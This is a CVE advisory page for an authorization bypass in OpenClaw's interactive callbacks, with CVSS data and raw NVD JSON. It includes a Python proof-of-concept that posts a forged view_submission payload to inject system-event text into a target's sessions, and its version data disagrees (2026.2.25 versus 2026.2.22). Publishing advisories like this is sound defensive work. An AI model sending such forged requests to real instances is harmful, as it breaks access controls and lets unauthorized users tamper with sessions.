Security Vulnerability Report
中文
CVE-2026-32005 CVSS 6.8 MEDIUM

CVE-2026-32005

Published: 2026-03-19 22:16:33
Last Modified: 2026-03-24 21:22:48

Description

OpenClaw versions prior to 2026.2.25 fail to enforce sender authorization checks for interactive callbacks including block_action, view_submission, and view_closed in shared workspace deployments. Unauthorized workspace members can bypass allowFrom restrictions and channel user allowlists to enqueue system-event text into active sessions.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable OpenClaw instance callback endpoint target_url = "https://target-openclaw-instance.com/api/v1/callbacks/interactive" # Malicious payload simulating a view_submission event # The vulnerability allows bypassing the sender check, so attacker_id is arbitrary payload = { "type": "view_submission", "team": {"id": "T_SHARED_WORKSPACE_ID"}, "user": {"id": "U_UNAUTHORIZED_MEMBER_ID"}, "api_app_id": "A_OPENCLAW_APP_ID", "token": "LEGACY_TOKEN", "trigger_id": "TRIGGER_ID", "view": { "callback_id": "inject_event", "state": { "values": { "block_action": { "action_input": { "type": "plain_text_input", "value": "SYSTEM_EVENT: Malicious command injected" } } } } } } # Sending the request to exploit the authorization bypass headers = {"Content-Type": "application/json"} try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] PoC successful: System event text injected into active session.") else: print(f"[-] PoC failed: Server returned status code {response.status_code}") except Exception as e: print(f"[-] Error during request: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32005", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:32.950", "lastModified": "2026-03-24T21:22:47.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.25 fail to enforce sender authorization checks for interactive callbacks including block_action, view_submission, and view_closed in shared workspace deployments. Unauthorized workspace members can bypass allowFrom restrictions and channel user allowlists to enqueue system-event text into active sessions."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a 2026.2.25 fallan en hacer cumplir las comprobaciones de autorización del remitente para devoluciones de llamada interactivas, incluyendo block_action, view_submission y view_closed, en implementaciones de espacios de trabajo compartidos. Miembros no autorizados del espacio de trabajo pueden eludir las restricciones de allowFrom y las listas blancas de usuarios del canal para poner en cola texto de eventos del sistema en sesiones activas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.22", "matchCriteriaId": "6EA3E555-7328-4665-9FBC-BF4357239EDF"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/ce8c67c314b93f570f53c2a9abc124e1e3a54715", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x2ff-j5c2-ggpr", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-in-interactive-callbacks-via-sender-check-skip", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}